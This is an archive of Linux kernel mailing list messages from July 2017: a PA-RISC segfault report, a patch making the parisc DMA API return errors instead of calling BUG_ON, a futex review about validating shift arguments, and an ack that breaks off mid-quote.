Message-ID: <alpine.LRH.2.20.1707031037440.28253@math.ut.ee>
References: <alpine.LRH.2.20.1706201714280.12869@math.ut.ee> <d2f4c409-16db-7dbb-533f-c7e56515bceb@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: blaine.gmane.org 1499067509 23076 195.159.176.226 (3 Jul 2017 07:38:29 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 3 Jul 2017 07:38:29 +0000 (UTC)
User-Agent: Alpine 2.20 (LRH 67 2015-01-07)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 03 09:38:25 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dRvw6-000658-NZ
	for glpp-linux-parisc@m.gmane.org; Mon, 03 Jul 2017 09:38:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752291AbdGCHi2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 3 Jul 2017 03:38:28 -0400
Original-Received: from smtp1.it.da.ut.ee ([193.40.5.66]:41947 "EHLO smtp1.it.da.ut.ee"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752179AbdGCHi1 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 3 Jul 2017 03:38:27 -0400
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
        by smtp1.it.da.ut.ee (Postfix) with ESMTP id 1A57390031;
        Mon,  3 Jul 2017 10:38:26 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
        id 09F4A221944; Mon,  3 Jul 2017 10:38:24 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
        by math.ut.ee (Postfix) with ESMTP id 33BB5220CBF;
        Mon,  3 Jul 2017 10:38:24 +0300 (EEST)
In-Reply-To: <d2f4c409-16db-7dbb-533f-c7e56515bceb@bell.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27528
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27528>

> > I am using gentoo on my hppa machines and just tried
> > 4.12.0-rc5-00187-gab2789b at the end of last week. This time there
> > was new gcc release so a lot of work. rp3440 and A500 had no problems,
> > rp3410 errored out with SIGSEGV, twice.
> Helge and I have had a long discussion about these SEGVs.  They are
> essentially random.
> The are very rare on UP machines.  I don't think we have seen one yet on the
> panama buildd
> machine which is also a rp3410.  They are much more common on phantom which is
> four way
> c8000 at 1 GHz.

Whatever it it hitting me, it seems frequent on my UP rp3410. I am 
seeing it again.

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH] parisc: DMA API: return error instead of BUG_ON for dma ops on non dma devs
Date: Mon, 3 Jul 2017 10:38:05 +0200
Lines: 206
Approved: news@gmane.org
Message-ID: <20170703084920.142A9508094@solo.franken.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1499071795 32038 195.159.176.226 (3 Jul 2017 08:49:55 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 3 Jul 2017 08:49:55 +0000 (UTC)
To: jejb@parisc-linux.org, deller@gmx.de, linux-parisc@vger.kernel.org,
        linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Jul 03 10:49:50 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dRx3F-0007zO-FA
	for glk-linux-kernel-3@m.gmane.org; Mon, 03 Jul 2017 10:49:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752662AbdGCItw (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Mon, 3 Jul 2017 04:49:52 -0400
Original-Received: from elvis.franken.de ([193.175.24.41]:50232 "EHLO elvis.franken.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750801AbdGCItv (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 3 Jul 2017 04:49:51 -0400
Original-Received: from uucp (helo=solo.franken.de)
        by elvis.franken.de with local-bsmtp (Exim 3.36 #1)
        id 1dRx3K-00078H-00; Mon, 03 Jul 2017 10:49:54 +0200
Original-Received: by solo.franken.de (Postfix, from userid 1000)
        id 142A9508094; Mon,  3 Jul 2017 10:49:20 +0200 (CEST)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2515262 gmane.linux.ports.parisc:27529
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2515262>

Enabling parport pc driver on a B2600 (and probably other 64bit PARISC
systems) produced following BUG:

CPU: 0 PID: 1 Comm: swapper Not tainted 4.12.0-rc5-30198-g1132d5e #156
task: 000000009e050000 task.stack: 000000009e04c000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001101111111100001111 Not tainted
r00-03  000000ff0806ff0f 000000009e04c990 0000000040871b78 000000009e04cac0
r04-07  0000000040c14de0 ffffffffffffffff 000000009e07f098 000000009d82d200
r08-11  000000009d82d210 0000000000000378 0000000000000000 0000000040c345e0
r12-15  0000000000000005 0000000040c345e0 0000000000000000 0000000040c9d5e0
r16-19  0000000040c345e0 00000000f00001c4 00000000f00001bc 0000000000000061
r20-23  000000009e04ce28 0000000000000010 0000000000000010 0000000040b89e40
r24-27  0000000000000003 0000000000ffffff 000000009d82d210 0000000040c14de0
r28-31  0000000000000000 000000009e04ca90 000000009e04cb40 0000000000000000
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000404aece0 00000000404aece4
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000001781304cac8
 CPU:        0   CR30: 000000009e04c000 CR31: 00000000e2976de2
 ORIG_R28: 0000000000000200
 IAOQ[0]: sba_dma_supported+0x80/0xd0
 IAOQ[1]: sba_dma_supported+0x84/0xd0
 RP(r2): parport_pc_probe_port+0x178/0x1200

Cause is a call to dma_coerce_mask_and_coherenet in parport_pc_probe_port,
which PARISC DMA API doesn't handle very nicely. This commit gives back
DMA_ERROR_CODE for DMA API calls, if device isn't capable of DMA
transaction.

Signed-off-by: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
---
 arch/parisc/include/asm/dma-mapping.h | 11 +++++++----
 drivers/parisc/ccio-dma.c             | 12 ++++++++++++
 drivers/parisc/dino.c                 |  5 ++++-
 drivers/parisc/lba_pci.c              |  6 ++++--
 drivers/parisc/sba_iommu.c            | 14 ++++++++++++++
 5 files changed, 41 insertions(+), 7 deletions(-)

diff --git a/arch/parisc/include/asm/dma-mapping.h b/arch/parisc/include/asm/dma-mapping.h
index 5404c6a..9a2a895 100644
--- a/arch/parisc/include/asm/dma-mapping.h
+++ b/arch/parisc/include/asm/dma-mapping.h
@@ -20,6 +20,8 @@
 ** flush/purge and allocate "regular" cacheable pages for everything.
 */
 
+#define DMA_ERROR_CODE	(~(dma_addr_t)0)
+
 #ifdef CONFIG_PA11
 extern const struct dma_map_ops pcxl_dma_ops;
 extern const struct dma_map_ops pcx_dma_ops;
@@ -54,12 +56,13 @@ parisc_walk_tree(struct device *dev)
 			break;
 		}
 	}
-	BUG_ON(!dev->platform_data);
 	return dev->platform_data;
 }
-		
-#define GET_IOC(dev) (HBA_DATA(parisc_walk_tree(dev))->iommu)
-	
+
+#define GET_IOC(dev) ({					\
+	void *__pdata = parisc_walk_tree(dev);		\
+	__pdata ? HBA_DATA(__pdata)->iommu : NULL;	\
+})
 
 #ifdef CONFIG_IOMMU_CCIO
 struct parisc_device;
diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
index e32ca2e..56c93f0 100644
--- a/drivers/parisc/ccio-dma.c
+++ b/drivers/parisc/ccio-dma.c
@@ -741,6 +741,8 @@ ccio_map_single(struct device *dev, void *addr, size_t size,
 
 	BUG_ON(!dev);
 	ioc = GET_IOC(dev);
+	if (!ioc)
+		return DMA_ERROR_CODE;
 
 	BUG_ON(size <= 0);
 
@@ -814,6 +816,10 @@ ccio_unmap_page(struct device *dev, dma_addr_t iova, size_t size,
 	
 	BUG_ON(!dev);
 	ioc = GET_IOC(dev);
+	if (!ioc) {
+		WARN_ON(!ioc);
+		return;
+	}
 
 	DBG_RUN("%s() iovp 0x%lx/%x\n",
 		__func__, (long)iova, size);
@@ -918,6 +924,8 @@ ccio_map_sg(struct device *dev, struct scatterlist *sglist, int nents,
 	
 	BUG_ON(!dev);
 	ioc = GET_IOC(dev);
+	if (!ioc)
+		return 0;
 	
 	DBG_RUN_SG("%s() START %d entries\n", __func__, nents);
 
@@ -990,6 +998,10 @@ ccio_unmap_sg(struct device *dev, struct scatterlist *sglist, int nents,
 
 	BUG_ON(!dev);
 	ioc = GET_IOC(dev);
+	if (!ioc) {
+		WARN_ON(!ioc);
+		return;
+	}
 
 	DBG_RUN_SG("%s() START %d entries, %p,%x\n",
 		__func__, nents, sg_virt(sglist), sglist->length);
diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index 1133b5c..5c63b92 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -154,7 +154,10 @@ struct dino_device
 };
 
 /* Looks nice and keeps the compiler happy */
-#define DINO_DEV(d) ((struct dino_device *) d)
+#define DINO_DEV(d) ({				\
+	void *__pdata = d;			\
+	BUG_ON(!__pdata);			\
+	(struct dino_device *)__pdata; })
 
 
 /*
diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index 2ec2aef..bc286cb 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -111,8 +111,10 @@ static u32 lba_t32;
 
 
 /* Looks nice and keeps the compiler happy */
-#define LBA_DEV(d) ((struct lba_device *) (d))
-
+#define LBA_DEV(d) ({				\
+	void *__pdata = d;			\
+	BUG_ON(!__pdata);			\
+	(struct lba_device *)__pdata; })
 
 /*
 ** Only allow 8 subsidiary busses per LBA
diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
index 33385e5..87ad5fd 100644
--- a/drivers/parisc/sba_iommu.c
+++ b/drivers/parisc/sba_iommu.c
@@ -691,6 +691,8 @@ static int sba_dma_supported( struct device *dev, u64 mask)
 		return 0;
 
 	ioc = GET_IOC(dev);
+	if (!ioc)
+		return 0;
 
 	/*
 	 * check if mask is >= than the current max IO Virt Address
@@ -722,6 +724,8 @@ sba_map_single(struct device *dev, void *addr, size_t size,
 	int pide;
 
 	ioc = GET_IOC(dev);
+	if (!ioc)
+		return DMA_ERROR_CODE;
 
 	/* save offset bits */
 	offset = ((dma_addr_t) (long) addr) & ~IOVP_MASK;
@@ -813,6 +817,10 @@ sba_unmap_page(struct device *dev, dma_addr_t iova, size_t size,
 	DBG_RUN("%s() iovp 0x%lx/%x\n", __func__, (long) iova, size);
 
 	ioc = GET_IOC(dev);
+	if (!ioc) {
+		WARN_ON(!ioc);
+		return;
+	}
 	offset = iova & ~IOVP_MASK;
 	iova ^= offset;        /* clear offset bits */
 	size += offset;
@@ -952,6 +960,8 @@ sba_map_sg(struct device *dev, struct scatterlist *sglist, int nents,
 	DBG_RUN_SG("%s() START %d entries\n", __func__, nents);
 
 	ioc = GET_IOC(dev);
+	if (!ioc)
+		return 0;
 
 	/* Fast path single entry scatterlists. */
 	if (nents == 1) {
@@ -1037,6 +1047,10 @@ sba_unmap_sg(struct device *dev, struct scatterlist *sglist, int nents,
 		__func__, nents, sg_virt(sglist), sglist->length);
 
 	ioc = GET_IOC(dev);
+	if (!ioc) {
+		WARN_ON(!ioc);
+		return;
+	}
 
 #ifdef SBA_COLLECT_STATS
 	ioc->usg_calls++;
-- 
2.1.4



From - Thu Nov 08 21:39:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 1/1] futex: remove duplicated code and fix UB
Date: Mon, 3 Jul 2017 12:18:28 +0200 (CEST)
Lines: 58
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.20.1707031211120.2188@nanos>
References: <20170621115318.2781-1-jslaby@suse.cz>
 <alpine.DEB.2.20.1706230017520.2221@nanos>
 <80af8d81-4522-de2d-8289-1ab46565505a@suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1499077209 23408 195.159.176.226 (3 Jul 2017 10:20:09 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 3 Jul 2017 10:20:09 +0000 (UTC)
User-Agent: Alpine 2.20 (DEB 67 2015-01-07)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org, peterz@infradead.org,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Will Deacon <will.deacon@arm.com>, Max Filippov <jcmvbkbc@gmail.com>,
 Paul Mackerras <paulus@samba.org>, "H. Peter Anvin" <hpa@zytor.com>,
 sparclinux@vger.kernel.org, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, linux-arch@vger.kernel.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>, linux-hexagon@vger.kernel.org,
 Helge Deller <deller@gmx.de>, x86@kernel.org,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, mingo@redhat.com,
 Catalin Marinas <catalin.marinas@arm.com>, dvhart@infradead.org,
 Matt Turner <mattst88@gmail.com>, linux-snps-arc@lists.infradead.org,
 Fenghua Yu <fenghua.yu@intel.com>, Arnd Bergmann <arnd@arndb.de>,
 linux-xtensa@linux-xtensa.org,
 Stefan Kristiansson <
To: Jiri Slaby <jslaby@suse.cz>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Mon Jul 03 12:20:00 2017
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([65.50.211.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1dRySR-0005OX-1b
	for gla-linux-snps-arc@m.gmane.org; Mon, 03 Jul 2017 12:19:55 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:MIME-Version:References:Message-ID:
	In-Reply-To:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=XSBNywpf9QrkEtCfFImMHpIf6ZOoiEqNCPxFD9r8vpM=; b=JHiYMPXReiw2Hc
	OMlyytZgZlgZwBj0vXBSbjoT9TIbpM6DyJ29CEO1B8xsCj25ezMeJe9AEqd320mz09pNBLd4yFUgv
	WNxlppGcVfyJeGJuYxsNQzvorKCi6+1DBYr7NCyOM5IfbxKbzgu7o9bK9rl+EPcJ/uybW9Ona3i8E
	WHM4Ee1XzQtELKtwUhDIrvKmnX8oa92RYTfUh1chqSfh5IZl6w4o8T3QvTSz7xMzu3eWoa2x4WKVs
	Up9NQ5l8wMPrZelchWt74kEoGafE9spmdtcipVnViKeSZbWUEE3M5P8jmpfTYb5VTvCMroIGJ6gCJ
	jx0eaOQxaLU80WVQoWiQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.87 #1 (Red Hat Linux))
	id 1dRySW-0001zB-5U; Mon, 03 Jul 2017 10:20:00 +0000
Original-Received: from galois.linutronix.de ([2a01:7a0:2:106d:700::1])
 by bombadil.infradead.org with esmtps (Exim 4.87 #1 (Red Hat Linux))
 id 1dRySN-0001in-KO; Mon, 03 Jul 2017 10:19:55 +0000
Original-Received: from localhost ([127.0.0.1])
 by Galois.linutronix.de with esmtps (TLS1.2:DHE_RSA_AES_256_CBC_SHA256:256)
 (Exim 4.80) (envelope-from <tglx@linutronix.de>)
 id 1dRyPv-0008IM-9w; Mon, 03 Jul 2017 12:17:19 +0200
In-Reply-To: <80af8d81-4522-de2d-8289-1ab46565505a@suse.cz>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20170703_031951_858871_ACB35B41 
X-CRM114-Status: GOOD (  18.26  )
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:2684 gmane.linux.ports.mips.general:60201 gmane.linux.ports.ia64:28055 gmane.linux.ports.sh.devel:55669 gmane.linux.ports.sparc:25820 gmane.linux.kernel.cross-arch:37969 gmane.linux.ports.hexagon:1370 gmane.linux.ports.arm.kernel:588710 gmane.linux.ports.parisc:27530 gmane.linux.kernel:2515356 gmane.linux.ports.alpha:4346 gmane.linux.ports.ppc64.devel:144367
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/2684>

On Mon, 26 Jun 2017, Jiri Slaby wrote:
> On 06/23/2017, 09:51 AM, Thomas Gleixner wrote:
> > On Wed, 21 Jun 2017, Jiri Slaby wrote:
> >> diff --git a/arch/arm64/include/asm/futex.h b/arch/arm64/include/asm/futex.h
> >> index f32b42e8725d..5bb2fd4674e7 100644
> >> --- a/arch/arm64/include/asm/futex.h
> >> +++ b/arch/arm64/include/asm/futex.h
> >> @@ -48,20 +48,10 @@ do {									\
> >>  } while (0)
> >>  
> >>  static inline int
> >> -futex_atomic_op_inuser(unsigned int encoded_op, u32 __user *uaddr)
> > 
> > That unsigned int seems to be a change from the arm64 tree in next. It's
> > not upstream and it'll cause a (easy to resolve) conflict.
> 
> Ugh, I thought the arm64 is in upstream already. Note that this patch
> just takes what is in this arm64 fix and makes it effective for all
> architectures. So I will wait with v2 until it merges upstream.

Ok.

> > Yes, we probably can't change that anymore, but at least we should make it
> > very explicit and add a comment to that effect.
> 
> Something like this or do you want a comment yet?
>         unsigned int op =         (encoded_op & 0x70000000) >> 28;
>         unsigned int cmp =        (encoded_op & 0x0f000000) >> 24;
>         int oparg = sign_extend32((encoded_op & 0x00fff000) >> 12, 12);
>         int cmparg = sign_extend32(encoded_op & 0x00000fff, 12);

Yes, that makes sense.

There is also the issue with the shift. See this thread for further
reference:

  http://lkml.kernel.org/r/alpine.DEB.2.20.1706282353190.1890@nanos

The gist is:

  "Anything using a shift value < 0 or > 31 will get crap as a
   result. Rightfully so because it's just undefined.

   Yes I know that the insanity of user space is unlimited, but anything
   attempting this is so broken that we cannot break it further by making
   that shift arg unsigned and actually limit it to 0-31"

So we should make that case explicit as well.

        if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28)) {
		if (oparg < 0 || oparg > 31)
			return -EINVAL;
                oparg = 1 << oparg;
	}

Thanks,

	tglx

From - Thu Nov 08 21:39:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: DMA API: return error instead of BUG_ON for dma
 ops on non dma devs
Date: Mon, 3 Jul 2017 16:41:32 +0200
Lines: 216
Approved: news@gmane.org
Message-ID: <83ff44f5-8989-c806-bef3-29fb9c909bee@gmx.de>
References: <20170703084920.142A9508094@solo.franken.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1499092904 1974 195.159.176.226 (3 Jul 2017 14:41:44 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 3 Jul 2017 14:41:44 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.8.0
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>,
        jejb@parisc-linux.org, linux-parisc@vger.kernel.org,
        linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Jul 03 16:41:40 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dS2Xh-00084d-5r
	for glk-linux-kernel-3@m.gmane.org; Mon, 03 Jul 2017 16:41:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1756467AbdGCOll (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Mon, 3 Jul 2017 10:41:41 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:49339 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1754373AbdGCOlg (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 3 Jul 2017 10:41:36 -0400
Original-Received: from [192.168.20.60] ([193.159.18.56]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0LvUwp-1dsGNC1ZtD-010f34; Mon, 03
 Jul 2017 16:41:33 +0200
In-Reply-To: <20170703084920.142A9508094@solo.franken.de>
X-Provags-ID: V03:K0:CEvPOt/lqsZoAzETNWjOhFi2L6yymXDP5nOohXCL2R4prT7DG7H
 CwzSTBmA8Ddt/lUwT9I3AfY8w2JkhoqYPH2Zf6Fun8/0/EC/Gf9NJHAIgv1FrM0a+jtch9N
 cLfcxdqVCNwZkowb2kMWFoLRn7p8mD3xB519Av14PbAIpD0lzvGzzWg2YpeOtPBd/BVJVFd
 yIfcXW0LzTeUnpPnN66mQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:SNsKe+tTNWQ=:TG6JJ4Q9PBfBNa4SmlR5yC
 dIJZLD9VT4IbjhQlyL3/x6WFXUGiVO8rQIEmAV752ZMrLUhCVJG6CFf65hmV5WceRRWXHpP7m
 l/YEpuCbDRF/+yKjIdSk6dmC+iV7ILKIUVl7f0o25cA5vi1hO4mJFtVL+il3y/3se+yoUZFXp
 LqQC0r7Psoq0kv3Ab1DPDV0Dmb3Na0Tz9VA66xTEmIqJMNB5eC/MhKOxaHi+7EG7SzF+DrzhW
 QJg0xM2UyB0nWS4eiVZQV+yd7kYihtjZ3fh1cLHGRIOwJQSWEO/al7NmtSdya2lqyoPY6xw/L
 m1lQ3pXlUypK4/n9P85w+1fQtYiObCJrcxcRACb0lD8QoAQg1ajnC+kIIxZUefbydkhC1O5Z9
 Wyx6pDjyzL4cw3hrENN9WS9vwZNqLrkZ7nac2TOJvxdDh0qrjE76rsTBFV1W1mci/q3FevMe/
 y6spZWJzbHnINjxQzOH8xRiQETYhnyHi8GLiIaOqodTJaPdfHf3A8mIVjKN8+xIDFQ2Ms5u0X
 zVJDI9TzrkWlJFwcYwCBpslKl5/sKp7zVHkPXBDUQticgtL/ObSjBz1eDfTUWlP/8DBBC3SVH
 9/YqUfBANE95pLguWS7ERcOudMs9W3s5PgGAhntd1r/UGnl8ZXIPCf7pZOQAM0mjSc93x6lVp
 vGVXebRPiS4Hlsb6sZgb4HE/LlIjgcSPvZdCZdMl3ufL1OaByz8gYA7b4YAGq1PgNpd3U4CX2
 q09Vju7V4HOKHb849iHc22fh/5kS75jkqEMm8zs8Xlnoh9PDlA40ndpajzYdqsBFl/RHkTZ+ 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2515838 gmane.linux.ports.parisc:27531
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2515838>

On 03.07.2017 10:38, Thomas Bogendoerfer wrote:
> Enabling parport pc driver on a B2600 (and probably other 64bit PARISC
> systems) produced following BUG:
> 
> CPU: 0 PID: 1 Comm: swapper Not tainted 4.12.0-rc5-30198-g1132d5e #156
> task: 000000009e050000 task.stack: 000000009e04c000
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00001000000001101111111100001111 Not tainted
> r00-03  000000ff0806ff0f 000000009e04c990 0000000040871b78 000000009e04cac0
> r04-07  0000000040c14de0 ffffffffffffffff 000000009e07f098 000000009d82d200
> r08-11  000000009d82d210 0000000000000378 0000000000000000 0000000040c345e0
> r12-15  0000000000000005 0000000040c345e0 0000000000000000 0000000040c9d5e0
> r16-19  0000000040c345e0 00000000f00001c4 00000000f00001bc 0000000000000061
> r20-23  000000009e04ce28 0000000000000010 0000000000000010 0000000040b89e40
> r24-27  0000000000000003 0000000000ffffff 000000009d82d210 0000000040c14de0
> r28-31  0000000000000000 000000009e04ca90 000000009e04cb40 0000000000000000
> sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
> sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
> 
> IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000404aece0 00000000404aece4
>  IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000001781304cac8
>  CPU:        0   CR30: 000000009e04c000 CR31: 00000000e2976de2
>  ORIG_R28: 0000000000000200
>  IAOQ[0]: sba_dma_supported+0x80/0xd0
>  IAOQ[1]: sba_dma_supported+0x84/0xd0
>  RP(r2): parport_pc_probe_port+0x178/0x1200
> 
> Cause is a call to dma_coerce_mask_and_coherenet in parport_pc_probe_port,
> which PARISC DMA API doesn't handle very nicely. This commit gives back
> DMA_ERROR_CODE for DMA API calls, if device isn't capable of DMA
> transaction.
> 
> Signed-off-by: Thomas Bogendoerfer <tsbogend@alpha.franken.de>

I didn't had parport_pc enabled on my c3000 so I never saw it crashing.
After enabling parport_pc it crashes the same way as you describe.
I tested with kernel 4.9.35.
Thanks!
 
Acked-by: Helge Deller <deller@gmx.de>



> ---
>  arch/parisc/include/asm/dma-mapping.h | 11 +++++++----
>  drivers/parisc/ccio-dma.c             | 12 ++++++++++++
>  drivers/parisc/dino.c                 |  5 ++++-
>  drivers/parisc/lba_pci.c              |  6 ++++--
>  drivers/parisc/sba_iommu.c            | 14 ++++++++++++++
>  5 files changed, 41 insertions(+), 7 deletions(-)
> 
> diff --git a/arch/parisc/include/asm/dma-mapping.h b/arch/parisc/include/asm/dma-mapping.h
> index 5404c6a..9a2a895 100644
> --- a/arch/parisc/include/asm/dma-mapping.h
> +++ b/arch/parisc/include/asm/dma-mapping.h
> @@ -20,6 +20,8 @@
>  ** flush/purge and allocate "regular" cacheable pages for everything.
>  */
>  
